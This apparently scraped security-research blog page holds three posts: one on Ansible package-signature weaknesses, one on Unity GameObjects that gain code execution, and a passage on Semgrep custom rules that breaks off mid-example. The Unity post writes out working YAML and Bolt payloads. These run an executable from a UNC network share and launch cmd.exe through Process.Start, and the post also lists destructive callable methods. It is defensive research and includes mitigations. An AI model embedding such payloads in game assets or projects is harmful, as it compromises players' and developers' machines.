Normal view

There are new articles available, click to refresh the page.
Before yesterdayVulnerabily Research

Hack Series: Is your Ansible Package Configuration Secure?

In our client assessment work hacking software and cloud systems of all types, we’re often asked to look into configuration management tools such as Ansible. In this post we’ll deep dive into what package management vulnerabilities in the world of Ansible look like. First we’ll recap what Ansible is, provide some tips for security pros to debug it at a lower level, and explore both a CVE in the dnf module and an interesting gotcha in the apt module.

To ensure we’re always looking out for DevSecOps and aiding defenders, our next post in this series will touch on the strengths and weaknesses of tools like Semgrep for catching vulnerabilities in Ansible configurations.

Ansible

Ansible is an open source, Python-based, configuration management tool developed by Red Hat. It enables DevOps and other system maintainers to easily write automation playbooks, composed of a series of tasks in YAML format, and then run those playbooks against targeted hosts.

A key feature of Ansible is that it is agentless: the targeted hosts don’t need to have Ansible installed, just Python and SSH. The machine running the playbook (“control node” in Ansible speak) copies the Python code required to run the tasks to the targeted hosts (“managed nodes”) over SSH, and then executes that code remotely. Managed nodes are organized into groups in an “inventory” for easy targeting by playbooks.

Credit: codingpackets.com

In 2019 Ansible was the most popular cloud configuration management tool. While the paradigm of “immutable infrastructure” has led to more enthusiasm for choosing Terraform and Docker for performing several tasks that previously might have been done by Ansible, it is still an immensely popular tool for provisioning resources, services, and applications.

Ansible provides a large number of built-in modules, which are essentially high-level interfaces for calling common system commands like apt, yum, or sysctl. The modules are Python files that do the work of translating the specified YAML tasks into the commands that actually get executed on the managed nodes. For example, the following playbook contains a single Ansible task which uses the apt module to install NGINX on a Debian-based system. Normally an Ansible playbook would be run against a remote host, but in our examples we are targeting localhost for illustrative purposes:

- name: Sample Apt Module Playbook
  hosts: localhost
  become: yes
  become_user: root
  tasks:
    - name: ensure nginx is installed
      apt:
        name: nginx
        state: present

To understand better what this playbook is doing under the hood, let’s use a debugging technique that will come in useful when we look at vulnerabilities later. Since Ansible doesn’t natively provide a way to see the exact commands getting run, we can use a handy strace invocation. strace allows us to follow the flow of system calls that this playbook triggers when run normally under ansible-playbook, even as Ansible forks off multiple child processes (“-f” flag), so we can view the command that ultimately gets executed:

$ sudo strace -f -e trace=execve ansible-playbook playbook.yml 2>&1 | grep apt
[pid 11377] execve("/usr/bin/apt-get", ["/usr/bin/apt-get", "-y", "-o", "Dpkg::Options::=--force-confdef", "-o", "Dpkg::Options::=--force-confold", "install", "nginx"], 0x195b3e0 /* 33 vars */) = 0

Using both strace command line options ("-e trace=execve“) and grep as filters, we are making sure that irrelevant system calls are not output to the terminal; this avoids the noise of all the setup code that both Ansible and the apt module need to run before finally fulfilling the task. Ultimately we can see that the playbook runs the command apt-get install nginx, with a few extra command line flags to automate accepting confirmation prompts and interactive dialogues.

If you are following along and don’t see the apt-get install command in the strace output, make sure NGINX is uninstalled first. To improve performance and prevent unwanted side-effects, Ansible first checks whether a task has already been achieved, and so returns early with an “ok” status if it thinks NGINX is already in the installed state.

Top 10 Tips for Ansible Security Audits

As shown, Ansible transforms tasks declared in simple YAML format into system commands often run as root on the managed nodes. This layer of abstraction can easily turn into a mismatch between what a task appears to do and what actually happens under the hood. We will explore where such mismatches in Ansible’s built-in modules make it possible to create configuration vulnerabilities across all managed nodes.

But first, let’s take a step back and contextualize this by running through general tips if you are auditing an Ansible-managed infrastructure. From an infrastructure security perspective, Ansible does not expose as much attack surface as some other configuration management tools. SSH is the default transport used to connect from the control node to the managed nodes, so Ansible traffic takes advantage of the sane defaults, cryptography, and integration with Linux servers that the OpenSSH server offers. However, Ansible can be deployed in many ways, and best practices may be missed when writing roles and playbooks. Here are IncludeSec’s top 10 Ansible security checks to remember when reviewing a configuration:

  1. Is an old version of Ansible being used which is vulnerable to known CVEs?
  2. Are hardcoded secrets checked into YAML files?
  3. Are managed nodes in different environments (production, development, staging) not appropriately separated into inventories?
  4. Are the control nodes which Ansible is running from completely locked down with host/OS based security controls?
  5. Are unsafe lookups which facilitate template injection enabled?
  6. Are SSHD config files using unrecommended settings like permitting root login or enabling remote port forwarding?
  7. Are alternative connection methods being used (such as ansible-pull) and are they being appropriately secured?
  8. Are the outputs of playbook runs being logged or audited by default?
  9. Is the confidential output of privileged tasks being logged?
  10. Are high-impact roles/tasks (e.g. those that are managing authentication, or installing packages) actually doing what they appear to be?

Whether those tips apply will obviously vary depending on whether the organization is managing Ansible behind a tool like Ansible Tower, or if it’s a startup where all developers have SSH access to production. However, one thing that remains constant is that Ansible is typically used to install packages to setup managed nodes, so configuration vulnerabilities in package management tasks are of particular interest. We will focus on cases where declaring common package management operations in Ansible YAML format can have unintended security consequences.

CVE-2020-14365: Package Signature Ignored in dnf Module

The most obvious type of mismatch between YAML abstraction and reality in an Ansible module would be an outright bug. A recent example of this is CVE-2020-14365. The dnf module installs packages using the dnf package manager, the successor of yum and the default on Fedora Linux. The bug was that the module didn’t perform signature verification on packages it downloaded. Here is an example of a vulnerable task when run on Ansible versions <2.8.15 and <2.9.13:

- name: The task in this playbook was vulnerable to CVE-2020-14365
  hosts: localhost
  become: yes
  become_user: root
  tasks:
    - name: ensure nginx is installed
      dnf:
        name: nginx
        state: present

The vulnerability is severe when targeted by advanced attackers; an opening for supply-chain attack. The lack of signature verification makes it possible for both the package mirror and man-in-the-middle (MITM) attackers on the network in between to supply their own packages which execute arbitrary commands as root on the host during installation.

For more details about how to perform such an attack, this guide walks through injecting backdoored apt packages from a MITM perspective. The scenario was presented a few years ago on a HackTheBox machine.

The issue is exacerbated by the fact that in most cases on Linux distros, GPG package signatures are the only thing giving authenticity and integrity to the downloaded packages. Package mirrors don’t widely use HTTPS (see Why APT does not use HTTPS for the justification), including dnf. With HTTPS transport between mirror and host, the CVE is still exploitable by a malicious mirror but at least the MITM attacks are a lot harder to pull off. We ran a quick test and despite Fedora using more HTTPS mirrors than Debian, some default mirrors selected due to geographical proximity were HTTP-only:

The root cause of the CVE was that the Ansible dnf module imported a Python module as an interface for handling dnf operations, but did not call a crucial _sig_check_pkg() function. Presumably, this check was either forgotten or assumed to be performed automatically in the imported module.

Package Signature Checks Can be Bypassed When Downgrading Package Versions

The dnf example was clearly a bug, now patched, so let’s move on to a more subtle type of mismatch where the YAML interface doesn’t map cleanly to the desired low-level behavior. This time it is in the apt package manager module and is a mistake we have seen in several production Ansible playbooks.

In a large infrastructure, it is common to install packages from multiple sources, from a mixture of official distro repositories, third-party repositories, and in-house repositories. Sometimes the latest version of a package will cause dependency problems or remove features which are relied upon. The solution which busy teams often choose is to downgrade the package to the last version that was working. While downgrades should never be a long-term solution, they can be necessary when the latest version is actively breaking production or a package update contains a bug.

When run interactively from the command line, apt install (and apt-get install, they are identical for our purposes) allows you to specify an older version you want to downgrade to, and it will do the job. But when accepting confirmation prompts automatically (in “-y” mode, which Ansible uses), apt will error out unless the --allow-downgrades argument is explicitly specified. Further confirmation is required since a downgrade may break other packages. But the Ansible apt module doesn’t offer an --allow-downgrades option equivalent; there’s no clear way to make a downgrade work using Ansible.

The first Stackoverflow answer that comes up when searching for “ansible downgrade package” recommends using force: true (or force: yes which is equivalent in YAML):

- name: Downgrade NGINX in a way that is vulnerable
  hosts: localhost
  become: yes
  become_user: root
  tasks:
    - name: ensure nginx is installed
      apt:
        name: nginx=1.14.0-0ubuntu1.2
        force: true
        state: present

This works fine, and without follow-up, this pattern can become a fixture of the configuration which an organization runs regularly across hosts. Unfortunately, it creates a vulnerability similar to the dnf CVE, disabling signature verification.

To look into what is going on, let’s use the strace command line to see the full invocation:

$ sudo strace -f -e trace=execve ansible-playbook apt_force_true.yml 2>&1 | grep apt
[pid 479683] execve("/usr/bin/apt-get", ["/usr/bin/apt-get", "-y", "-o", "Dpkg::Options::=--force-confdef", "-o", "Dpkg::Options::=--force-confold", "--force-yes", "install", "nginx=1.14.0-0ubuntu1.2"], 0x1209b40 /* 33 vars */) = 0

The force: true option has added the --force-yes parameter (as stated in the apt module docs). --force-yes is a blunt hammer that will ignore any problems with the installation, including a bad signature on the downloaded package. If this same apt-get install command is run manually from the command line, it will warn: --force-yes is deprecated, use one of the options starting with --allow instead. And to Ansible’s credit, it also warns in the docs that force “is a destructive operation with the potential to destroy your system, and it should almost never be used.”

So why is use of force: true so prevalent across Ansible deployments we have seen? It’s because there’s no easy alternative for this common downgrade use-case. There are only unpleasant workarounds involving running the full apt install command line using the command or shell modules, before either Apt Pinning or dpkg holding, native methods in Debian-derived distros to hold a package at a previous version, can be used.

On the Ansible issue tracker, people have been asking for years for an allow_downgrade option for the apt module, but two separate pull requests have been stuck in limbo because they do not meet the needs of the project. Ansible requires integration tests for every feature, and they are difficult to provide for this functionality since Debian-derived distros don’t normally host older versions of packages in their default repositories to downgrade to. The yum and dnf modules have had an allow_downgrade option since 2018.

Fixing the Problem

At IncludeSec we like to contribute to open source where we can, so we’ve opened a pull request to resolve this shortcoming of the apt module. This time, the change has integration tests and will hopefully meet the requirements of the project and get merged!

(Update: Our PR was accepted and usable as of Ansible Core version 2.12)

The next part of this series will explore using Semgrep to identify this vulnerability and others in Ansible playbooks. We’ll review the top 10 Ansible security audits checks presented and see how much of the hard work can be automated through static analysis. We’ve got a lot more to say about this, stay tuned for our next post on the topic!

The post Hack Series: Is your Ansible Package Configuration Secure? appeared first on Include Security Research Blog.

Hacking Unity Games with Malicious GameObjects

At IncludeSec our clients are asking us to hack on all sorts of crazy applications from mass scale web systems to IoT devices and low-level firmware. Something that we’re seeing more of is hacking virtual reality systems and mass scale video games so we had a chance to do some research and came up with a bit of a novel approach which may allow attacking Unity-powered games and game devs.

Specifically, this post will outline:

  • Two ways I found that GameObjects (a non-code asset type) can be crafted to cause arbitrary code to run.
  • Five possible ways an attacker might use a malicious GameObject to compromise a Unity game.
  • How game developers can mitigate the risk.

Unity has also published their own blog post on this subject, they’ve been great to work with and continue to make moves internally to maximize the security of their platform. Be sure to check that post out for specific recommendations on how to protect against this sort of vulnerability.

Terminology

First a brief primer on the terms I’m going to use for those less familiar with Unity.

  • GameObjects are entities in Unity that can have any number of components attached.
  • Components are added to GameObjects to make them do things. They include Unity built-in components, like UI elements and sprite renderers, as well as custom scripted components used to build the game logic.
  • Assets are the elements that make up the game. This includes images, sounds, scripts, and GameObjects, among other things.
  • AssetBundles are a way to package non-code assets and allow them to be loaded at runtime (from the web or locally). They are used to decrease initial download size, allow downloadable content, as well as sometimes to enable modding of the game.

Ways a malicious GameObject could get into a game

Before going into details about how a GameObject could execute code, let’s talk about how it would get in the game in the first place so that we’re clear on the attack scenarios. I came up with five ways a malicious GameObject might find its way into a Unity game:

Way 1: the most obvious route is if the game developer downloaded it and added it to the game project. This might be an asset they purchased on the Unity Asset Store, or something they found on GitHub that solved a problem they were having.

Way 2: Unity AssetBundles allow non-script assets (including GameObjects) to be imported into a game at runtime. There may be an assumption that these assets are safe, since they contain no custom script assets, but as you’ll see further into the post that is not a safe assumption. For example, sometimes AssetBundles are used to add modding functionality to a game. If that’s the case, then third-party mods downloaded by a user can unexpectedly cause code execution, similar to running untrusted programs from the internet.

Way 3: AssetBundles can be downloaded from the internet at runtime without transport encryption enabling man-in-the-middle attacks. The Unity documentation has an example of how to do this, partially listed below:

UnityWebRequest uwr = UnityWebRequestAssetBundle.GetAssetBundle("http://www.my-server.com/mybundle")

In the Unity-provided example, the AssetBundle is being downloaded over HTTP. If an AssetBundle is downloaded over HTTP (which lacks the encryption and certificate validation of HTTPS), an attacker with a man-in-the-middle position of whoever is running the game could tamper with the AssetBundle in transit and replace it with a malicious one. This could, for example, affect players who are playing on an untrusted network such as a public WiFi access point.

Way 4: AssetBundles can be downloaded from the internet at runtime with transport encryption but man-in-the-middle attacks might still be possible.

Unity has this to say about certificate validation when using UnityWebRequests:

Some platforms will validate certificates against a root certificate authority store. Other platforms will simply bypass certificate validation completely.

According to the docs, even if you use HTTPS, on certain platforms Unity won’t check certificates to verify it’s communicating with the intended server, opening the door for possible AssetBundle tampering. It’s possible to create your own certificate handler, but only on specific platforms:

Note: Custom certificate validation is currently only implemented for the following platforms – Android, iOS, tvOS and desktop platforms.

I could not find information about which platforms “bypass certificate validation completely”, but I’m guessing it’s the less-common ones? Still, if you’re developing a game that downloads AssetBundles, you might want to verify that certificate validation is working on the platforms you use.

Way 5: Malicious insider. A contributor on a development team or open source project wants to add some bad code to a game. But maybe the dev team has code reviews to prevent this sort of thing. Likely, those code reviews don’t extend to the GameObjects themselves, so the attacker smuggles their code into a GameObject that gets deployed with the game.

Crafting malicious GameObjects

I think it’s pretty obvious why you wouldn’t want arbitrary code running in your game — it might compromise players’ computers, steal their data, crash the game, etc. If the malicious code runs on a development machine, the attacker could potentially steal the source code or pivot to attack the studio’s internal network. Peter Clemenko had another interesting perspective on his blog: essentially, in the near-future augmented-reality cyberpunk ready-player-1 upcoming world an attacker may seek to inject things into a user’s reality to confuse, distract, annoy, and that might cause real-world harm.

So, how can non-script assets get code execution?

Method 1: UnityEvents

Unity has an event system that allows hooking up delegates in code that will be called when an event is triggered. You can use them in your custom scripts for game-specific events, and they are also used on Unity’s built-in UI components (such as Buttons) for event handlers (like onClick) . Additionally, you can add ones to objects such as PointerClick, PointerEnter, Scroll, etc. using an EventTrigger component

One-parameter UnityEvents can be exposed in the inspector by components. In normal usage, setting up a UnityEvent looks like this in the Unity inspector:

First you have to assign a GameObject to receive the event callback (in this case, “Main Camera”). Then you can look through methods and properties on any components attached to that GameObject, and select a handler method.

Many assets in Unity, including scenes and GameObject prefabs, are serialized as YAML files that store the various properties of the object. Opening up the object containing the above event trigger, the YAML looks like this:

MonoBehaviour:
  m_ObjectHideFlags: 0
  m_CorrespondingSourceObject: {fileID: 0}
  m_PrefabInstance: {fileID: 0}
  m_PrefabAsset: {fileID: 0}
  m_GameObject: {fileID: 1978173272}
  m_Enabled: 1
  m_EditorHideFlags: 0
  m_Script: {fileID: 11500000, guid: d0b148fe25e99eb48b9724523833bab1, type: 3}
  m_Name:
  m_EditorClassIdentifier:
  m_Delegates:
  - eventID: 4
    callback:
      m_PersistentCalls:
        m_Calls:
        - m_Target: {fileID: 963194228}
          m_TargetAssemblyTypeName: UnityEngine.Component, UnityEngine
          m_MethodName: SendMessage
          m_Mode: 5
          m_Arguments:
            m_ObjectArgument: {fileID: 0}
            m_ObjectArgumentAssemblyTypeName: UnityEngine.Object, UnityEngine
            m_IntArgument: 0
            m_FloatArgument: 0
            m_StringArgument: asdf
            m_BoolArgument: 0
          m_CallState: 2

The most important part is under m_Delegates — that’s what controls which methods are invoked when the event is triggered. I did some digging in the Unity C# source repo along with some experimenting to figure out what some of these properties are. First, to summarize my findings: UnityEvents can call any method that has a return type void and takes zero or one argument of a supported type. This includes private methods, setters, and static methods. Although the UI restricts you to invoking methods available on a specific GameObject, editing the object’s YAML does not have that restriction — they can call any method in a loaded assembly . You can skip to exploitation below if you don’t need more details of how this works.

Technical details

UnityEvents technically support delegate functions with anywhere from zero to four parameters, but unfortunately Unity does not use any UnityEvents with greater than one parameter for its built-in components (and I found no way to encode more parameters into the YAML). We are therefore limited to one-parameter functions for our attack.

The important fields in the above YAML are:

  • eventID — This is specific to EventTriggers (rather than UI components.) It specifies the type of event, PointerClick, PointerHover, etc. PointerClick is “4”.
  • m_TargetAssemblyTypeName — this is the fully qualified .NET type name that the event handler function will be called on. Essentially this takes the form: namespace.typename, assemblyname. It can be anything in one of the assemblies loaded by Unity, including all Unity engine stuff as well as a lot of .NET stuff.
  • m_callstate — Determines when the event triggers — only during a game, or also while using the Unity Editor:
    • 0 – UnityEventCallState.Off
    • 1 – UnityEventCallState.EditorAndRuntime
    • 2 – UnityEventCallState.RuntimeOnly
  • m_mode — Determines the argument type of the called function.
    • 0 – EventDefined
    • 1 – Void,
    • 2 – Object,
    • 3 – Int,
    • 4 – Float,
    • 5 – String,
    • 6 – Bool
  • m_target — Specify the Unity object instance that the method will be called on. Specifying m_target: {fileId: 0} allows static methods to be called.

Unity uses C# reflection to obtain the method to call based on the above. The code ultimately used to obtain the method is shown below:

objectType.GetMethod(functionName, BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Static, null, argumentTypes, null);

With the binding flags provided, it’s possible to specify private or public methods, static or instance methods. When calling the function, a delegate is created with type UnityAction that has a return type of void — therefore, the specified function must have a void return type.

Exploitation

My goal after discovering the above was to find some method available in the default loaded assemblies fitting the correct form (static, return void, exactly 1 parameter) which would let me do Bad Things™. Ideally, I wanted to get arbitrary code execution, but other things could be interesting too. If I could hook up an event handler to something dangerous, we would have a malicious GameObject.

I was quickly able to get arbitrary code execution on Windows machines by invoking Application.OpenURL() with a UNC path pointing to a malicious executable on a network share. The attacker would host a malicious exe file, and wait for the game client to trigger the event. OpenURL will then download and execute the payload. 

Below is the event definition I used  in the object YAML:

- m_Target: {fileID: 0}
  m_TargetAssemblyTypeName: UnityEngine.Application, UnityEngine
  m_MethodName: OpenURL
  m_Mode: 5
  m_Arguments:
    m_ObjectArgument: {fileID: 0}
    m_ObjectArgumentAssemblyTypeName: UnityEngine.Object, UnityEngine
    m_IntArgument: 0
    m_FloatArgument: 0
    m_StringArgument: file://JASON-INCLUDESE/shared/calc.exe
    m_BoolArgument: 0
  m_CallState: 2

It sets an OnPointerClick handler on an object with a large bounding box (to ensure it gets triggered). When the victim user clicks, it retrieves calc.exe from a network share and executes it. In a hypothetical attack the exe file would likely be on the internet, but I hosted on my local network. Here’s a gif of what happens when you click the object:

This got arbitrary code execution on Windows from a malicious GameObject either in an AssetBundle or included in the project. However, the network drive method won’t work on non-Windows platforms unless they’ve specifically mounted a share, since they don’t automatically open UNC paths. What about those platforms?

Another interesting function is EditorUtility.OpenWithDefaultApp(). It takes a string path to a file, and opens it up with the system’s default app for this file type. One useful part is that it takes relative paths in the project. An attacker who can get malicious executables into your project can call this function with the relative path to their executable to get them to run.

For example, on macOS I compiled the following C program which writes “hello there” to /tmp/hello:

#include <stdio.h>;
int main() {
  FILE* fp = fopen("/tmp/hello");
  fprintf(fp, "hello there");
  fclose(fp);
  return 0;
}

I included the compiled binary in my Assets folder as “hello” (no extension — this is important!) Then I set up the following onClick event on a button:

m_OnClick:
  m_PersistentCalls:
    m_Calls:
    - m_Target: {fileID: 0}
      m_TargetAssemblyTypeName: UnityEditor.EditorUtility, UnityEditor
      m_MethodName: OpenWithDefaultApp
      m_Mode: 5
      m_Arguments:
        m_ObjectArgument: {fileID: 0}
        m_ObjectArgumentAssemblyTypeName: UnityEngine.Object, UnityEngine
        m_IntArgument: 0
        m_FloatArgument: 0
        m_StringArgument: Assets/hello
        m_BoolArgument: 0
      m_CallState: 2

It now executes the executable when you click the button:

This doesn’t work for AssetBundles though, because the unpacked contents of AssetBundles aren’t written to disk. Although the above might be an exploitation path in some scenarios, my main goal was to get code execution from AssetBundles, so I kept looking for methods that might let me do that on Mac (on Windows, it’s possible with OpenURL(), as previously shown). I used the following regex in SublimeText to search over the UnityCsReference repository for any matching functions that a UnityEvent could call: static( extern|) void [A-Za-z\w_]*\((string|int|bool|float) [A-Za-z\w_]*\)

After pouring over the 426 discovered methods, I fell a short of getting completely arbitrary code exec from AssetBundles on non-Windows platforms — although I still think it’s probably possible. I did find a bunch of other ways such a GameObject could do Bad Things™. This is just a small sampling:

Unity.CodeEditor.CodeEditor.SetExternalScriptEditor()Can change a user’s default code editor to arbitrary values. Setting it to a malicious UNC executable can achieve code execution whenever they trigger Unity to open a code editor, similar to the OpenURL exploitation path.
PlayerPrefs.DeleteAll()Delete all save games and other stored data.
UnityEditor.FileUtil.UnityDirectoryDelete()Invokes Directory.Delete() on the specified directory.
UnityEngine.ScreenCapture.CaptureScreenshot()Takes a screenshot of the game window to a specified file. Will automatically overwrite the specified file. Can be written to UNC paths in Windows.
UnityEditor.PlayerSettings.SetAdditionalIl2CppArgs()Add flags to be passed to the Il2Cpp compiler.
UnityEditor.BuildPlayerWindow.BuildPlayerAndRun()Trigger the game to build. In my testing I couldn’t get this to work, but combined with the Il2Cpp flag function above it could be interesting.
Application.Quit(), EditorApplication.Exit()Quit out of the game/editor.

Method 2: Visual scripting systems

There are various visual scripting systems for Unity that let you create logic without code. If you have imported one of these into your project, any third-party GameObject you import can use the visual scripting system. Some of the systems are more powerful or less powerful. I will focus on Bolt as an example since it’s pretty popular, Unity acquired it, and it’s now free. 

This attack vector was proposed on Peter Clemenko’s blog I mentioned earlier, but it focused on malicious entity injection — I think it should be clarified that, using Bolt, it’s possible for imported GameObjects to achieve arbitrary code execution as well, including shell command execution.

With the default settings, Bolt does not show many of the methods available to you in the loaded assemblies in its UI. Once again, though, you have more options if you edit the YAML than you do in the UI. For example, if you make a simple Bolt flow graph like the following:

The YAML looks like:

MonoBehaviour:
  m_ObjectHideFlags: 0
  m_CorrespondingSourceObject: {fileID: 0}
  m_PrefabInstance: {fileID: 0}
  m_PrefabAsset: {fileID: 0}
  m_GameObject: {fileID: 2032548220}
  m_Enabled: 1
  m_EditorHideFlags: 0
  m_Script: {fileID: -57143145, guid: a040fb66244a7f54289914d98ea4ef7d, type: 3}
  m_Name:
  m_EditorClassIdentifier:
  _data:
    _json: '{"nest":{"source":"Embed","macro":null,"embed":{"variables":{"collection":{"$content":[],"$version":"A"},"$version":"A"},"controlInputDefinitions":[],"controlOutputDefinitions":[],"valueInputDefinitions":[],"valueOutputDefinitions":[],"title":null,"summary":null,"pan":{"x":117.0,"y":-103.0},"zoom":1.0,"elements":[{"coroutine":false,"defaultValues":{},"position":{"x":-204.0,"y":-144.0},"guid":"a4dcd43b-833d-49f5-8642-b6c311cf324f","$version":"A","$type":"Bolt.Start","$id":"10"},{"chainable":false,"member":{"name":"OpenURL","parameterTypes":["System.String"],"targetType":"UnityEngine.Application","targetTypeName":"UnityEngine.Application","$version":"A"},"defaultValues":{"%url":{"$content":"https://includesecurity.com","$type":"System.String"}},"position":{"x":-59.0,"y":-145.0},"guid":"395d9bac-f1da-4173-9e4b-b19d156c9a0b","$version":"A","$type":"Bolt.InvokeMember","$id":"12"},{"sourceUnit":{"$ref":"10"},"sourceKey":"trigger","destinationUnit":{"$ref":"12"},"destinationKey":"enter","guid":"d9cae7fd-e05b-48c6-b16d-5f04b0c722a6","$type":"Bolt.ControlConnection"}],"$version":"A"}}}'
    _objectReferences: []

The _json field seems to be where the meat is. Un-minifying it and focusing on the important parts:

[...]
  "member": {
    "name": "OpenURL",
    "parameterTypes": [
        "System.String"
    ],
    "targetType": "UnityEngine.Application",
    "targetTypeName": "UnityEngine.Application",
    "$version": "A"
  },
  "defaultValues": {
    "%url": {
        "$content": "https://includesecurity.com",
        "$type": "System.String"
    }
  },
[...]

It can be changed from here to a version that runs arbitrary shell commands using System.Diagnostics.Process.Start:

[...]
{
  "chainable": false,
  "member": {
    "name": "Start",
    "parameterTypes": [
        "System.String",
        "System.String"
    ],
    "targetType": "System.Diagnostics.Process",
    "targetTypeName": "System.Diagnostics.Process",
    "$version": "A"
  },
  "defaultValues": {
    "%fileName": {
        "$content": "cmd.exe",
        "$type": "System.String"
    },
    "%arguments": {
         "$content": "/c calc.exe",
         "$type": "System.String"
    }
  },
[...]

This is what that looks like now in Unity:

A malicious GameObject imported into a project that uses Bolt can do anything it wants.

How to prevent this

Third-party assets

It’s unavoidable for many dev teams to use third-party assets in their game, be it from the asset store or an outsourced art team. Still, the dev team can spend some time scrutinizing these assets before inclusion in their game — first evaluating the asset creator’s trustworthiness before importing it into their project, then reviewing it (more or less carefully depending on how much you trust the creator). 

AssetBundles

When downloading AssetBundles, make sure they are hosted securely with HTTPS. You should also double check that Unity validates HTTPS certificates on all platforms your game runs — do this by setting up a server with a self-signed certificate and trying to download an AssetBundle from it over HTTPS. On the Windows editor, where certificate validation is verified as working, doing this creates an error like the following and sets the UnityWebRequest.isNetworkError property to true:

If the download works with no error, then an attacker could insert their own HTTPS server in between the client and server, and inject a malicious AssetBundle. 

If Unity does not validate certificates on your platform and you are not on one of the platforms that allows for custom certificate checking, you probably have to implement your own solution — likely integrating a different HTTP client that does check certificates and/or signing the AssetBundles in some way.

When possible, don’t download AssetBundles from third-parties. This is impossible, though, if you rely on AssetBundles for modding functionality. In that case, you might try to sanitize objects you receive. I know that Bolt scripts are dangerous, as well as anything containing a UnityEvent (I’m aware of EventTriggers and various UI elements). The following code strips these dangerous components recursively from a downloaded GameObject asset before instantiating:

private static void SanitizePrefab(GameObject prefab)
{
    System.Type[] badComponents = new System.Type[] {
        typeof(UnityEngine.EventSystems.EventTrigger),
        typeof(Bolt.FlowMachine),
        typeof(Bolt.StateMachine),
        typeof(UnityEngine.EventSystems.UIBehaviour)
    };

    foreach (var componentType in badComponents) {
        foreach (var component in prefab.GetComponentsInChildren(componentType, true)) {
            DestroyImmediate(component, true);
        }
    }
}

public static Object SafeInstantiate(GameObject prefab)
{
    SanitizePrefab(prefab);
    return Instantiate(prefab);
}

public void Load()
{
    AssetBundle ab = AssetBundle.LoadFromFile(Path.Combine(Application.streamingAssetsPath, "evilassets"));

    GameObject evilGO = ab.LoadAsset<GameObject>("EvilGameObject");
    GameObject evilBolt = ab.LoadAsset<GameObject>("EvilBoltObject");
    GameObject evilUI = ab.LoadAsset<GameObject>("EvilUI");

    SafeInstantiate(evilGO);
    SafeInstantiate(evilBolt);
    SafeInstantiate(evilUI);

    ab.Unload(false);
}

Note that we haven’t done a full audit of Unity and we pretty much expect that there are other tricks with UnityEvents, or other ways for a GameObject to get code execution. But the code above at least protects against all of the attacks outlined in this blog.

If it’s essential to allow any of these things (such as Bolt scripts) to be imported into your game from AssetBundles, it gets trickier. Most likely the developer will want to create a white list of methods Bolt is allowed to call, and then attempt to remove any methods not on the whitelist before instantiating dynamically loaded GameObjects containing Bolt scripts. The whitelist could be something like “only allow methods in the MyCompanyName.ModStuff namespace.”  Allowing all of the UnityEngine namespace would not be good enough because of things like Application.OpenURL, but you could wrap anything you need in another namespace. Using a blacklist to specifically reject bad methods is not recommended, the surface area is just too large and it’s likely something important will be missed, though a combination of white list and black list may be possible with high confidence.

In general game developers need to decide how much protection they want to add at the app layer vs. putting the risk decision in the hands of a game end-user’s own judgement on what mods to run, just like it’s on them what executables they download. That’s fair, but it might be a good idea to at least give the gamers a heads up that this could be dangerous via documentation and notifications in the UI layer. They may not expect that mods could do any harm to their computer, and might be more careful once they know.

As mentioned above, if you’d like to read more about Unity’s blog for this and their recommendations, be sure to check out their blog post!

The post Hacking Unity Games with Malicious GameObjects appeared first on Include Security Research Blog.

Customizing Semgrep Rules for Flask/Django and Other Popular Web Frameworks

We customize and use Semgrep a lot during our security assessments at IncludeSec because it helps us quickly locate potential areas of concern within large codebases. Static analysis tools (SAST) such as Semgrep are great for aiding our vulnerability hunting efforts and usually can be tied into Continuous Integration (CI) pipelines to help developers catch potential vulnerabilities early in the development process.  In a previous post, we compared two static analysis tools: Brakeman vs. Semgrep. A key takeaway from that post is that when it comes to custom rules, we found that Semgrep was easy to use.

The lovely developers of Semgrep, as well as the general open source community provide pre-written rules for many frameworks that can be used with extreme ease–all it requires is a command line switch and it works. For example:

semgrep --config "p/flask"

Running this on its own can catch bad practices and mistakes. However, writing custom rules can expand Semgrep’s out-of-the-box functionality significantly and is done by advanced security assessors who understand code level security concerns. Whether you want to add rules that look for more specific problems or similar rules with a bigger scope, it’s up to the end-user rule writer to expand in whichever direction they want.

In this post, we walk through some scenarios to write custom Semgrep rules for two popular Python frameworks: Django and Flask.

Why Write Custom Rules for Frameworks?

We see a lot of applications built on top of frameworks like Django and Flask and wanted to prevent duplicative manual effort to identify similar patterns of security concerns on every assessment. While the default community rules are very good in Semgrep, at IncludeSec we needed more than that. Making use of Semgrep’s powerful rules system makes it possible to extend these to cover even more sources of bugs related to framework usage, such as:

  • vulnerabilities caused by use of specific deprecated APIs
  • vulnerabilities caused by lack of error checking in specific patterns
  • vulnerabilities introduced due to lack of locking/mutexes
  • specific combinations of API calls that can cause inefficiencies or loss of performance, or even introduce race conditions

If any of these issues occur frequently on specific APIs then Semgrep is ideal since a one time investment will pay off dividends in future development process.

Making Use of Frameworks 

For developers, using frameworks like Django and Flask make coding easier and more secure. But they aren’t foolproof. If you use them incorrectly, it is still possible to make mistakes. And for each framework, these mistakes tend to follow common patterns.

SAST tools like Semgrep offer the possibility of automating checks for some of these patterns of mistakes to find vulnerabilities that may be common within a framework. 

An analogy for SAST tooling is a compiler whose warnings/errors you can configure extremely easily. This makes it a perfect fit when programming specific frameworks, as you can catch potentially dangerous usages of APIs & unsafe operations before code is ever committed. For auditors it is extremely helpful when working with large codebases, which can be daunting at first due to the sheer amount of code. SAST tooling can locate security “codesmells”, and where there is codesmell, there are often leads to possible security concerns.

Step 1. Find patterns of mistakes

In order to write custom rules for a framework, you first have to do some research to identify where in the framework mistakes might occur.

The first place to look when identifying bad habits is the official documentation — often one can find big blocks of formatting with the words WARNING, ERROR, MISTAKE. These blocks can often clue you into common problems with examples, avoiding time wasted searching forums/Stack Overflow posts for common bugs.

The next place to search where one can find real world practical examples would be bug bounty platforms, such as HackerOne, BugCrowd, etc. Searching these platforms can result in quite niche but severe mistakes that might not be in official documentation but can occur in live production applications.

Finally, intentionally vulnerable “hack me” applications such as django.nV, which explain common vulnerabilities that might occur. With concise, straightforward exercises that one can do to learn and also hammer in the impact of the bugs at hand.

For example, in the Flask documentation for logins https://flask-login.readthedocs.io/en/latest/#login-example , a warning block mentions that 

Warning: You MUST validate the value of the next parameter. If you do not, your application will be vulnerable to open redirects. For an example implementation of is_safe_url see this Flask Snippet.

This block warns us about open redirects in the specific login situation it presents, we’ll use something similar for our vulnerable code example: an open redirect where the redirect parameter comes from a url encoded GET request.

Step 2. Identify the pieces of information and the markers in your code

When writing rules, we have to identify the pieces of information that the specific code encodes. This way we can ensure that the patterns we write will be as accurate as possible. Let’s look at an example from Flask:

from flask import redirect
 
@app.route("/redirect/<uri>")
def handle_request(uri):
    #unsafe open_redirect
